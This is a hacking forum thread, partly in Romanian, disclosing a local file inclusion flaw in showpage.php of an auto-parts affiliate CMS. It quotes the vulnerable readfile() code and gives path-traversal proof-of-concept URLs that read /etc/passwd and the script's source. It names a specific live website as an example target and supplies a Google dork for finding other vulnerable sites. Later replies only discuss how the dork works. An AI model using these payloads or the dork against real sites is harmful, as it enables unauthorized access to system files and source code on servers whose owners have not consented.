Aftermarket Auto Parts Alliance CMS(by InterraMedia) LFI/LFD

[Guest BanKai]

Presentation : this is a cms for all the Aftermarket Auto Parts Alliance affiliates.
My presentation : 
Well guess what it sucks ... 
not downloadable offcurse ... you have to be one of their associates to aquire this script for your website .

Bugged file : showpage.php

Bug : 
		if (!$page_id) {
			$page_id = "about";
		}
		if ($execute) {
                                                [...]
		} else {
			[b]readfile("./$page_id");[/b]
		}

My ... my ... that just won't do ....

POC : 
[url]http://www.website.com/showpage.php?page_id=../../../etc/passwd[/url]

[url]http://www.website.com/showpage.php?page_id=showpage.php[/url]
(discloses script source ... but won't show in browser just look in the page source and you will also see the php script)

Example :
[url]www.pioneerwheel.com/showpage.php?page_id=../../../etc/passwd[/url]

dork: inurl:showpage.php?page_id= inurl:.htm

[url]www.rstcenter.com[/url]
BanKai

[michee]

mah cum dracu sa foloseste dork-ul asta ca dau si eu search pe google la

inurl: showpage.php?page_id=

sau

inurl: "showpage.php?page_id="

si nu-mi apare site-ul ala care l-ai dat tu exemplu........apar alte rahaturi.......

[Guest BanKai]

mah cum dracu sa foloseste dork-ul asta ca dau si eu search pe google la

inurl: showpage.php?page_id=

sau

inurl: "showpage.php?page_id="

si nu-mi apare site-ul ala care l-ai dat tu exemplu........apar alte rahaturi.......

shefu ... te rog frumos cand vrei sa scrii ceva abtzinete 2 minute si stai sa gandesti ce scrii pentru ca modul tau de exprimare ma zgarie pe suflet ca pe creier nu are cum ...

dorkul intreg este dupa cum am postat :

inurl:showpage.php?page_id= inurl:.htm 

ia baga asta cu totul in google sa vezi ce rezultate iti returneaza.

[michee]

da shefu ai dreptate..........again.

explica-mi si mie atunci ce face de fapt acel "inurl:.htm " de dupa "?page_id=".......

Thanks.

[moubik]

IN URL

Edited Nemessis: mai usor tati cu unele expresii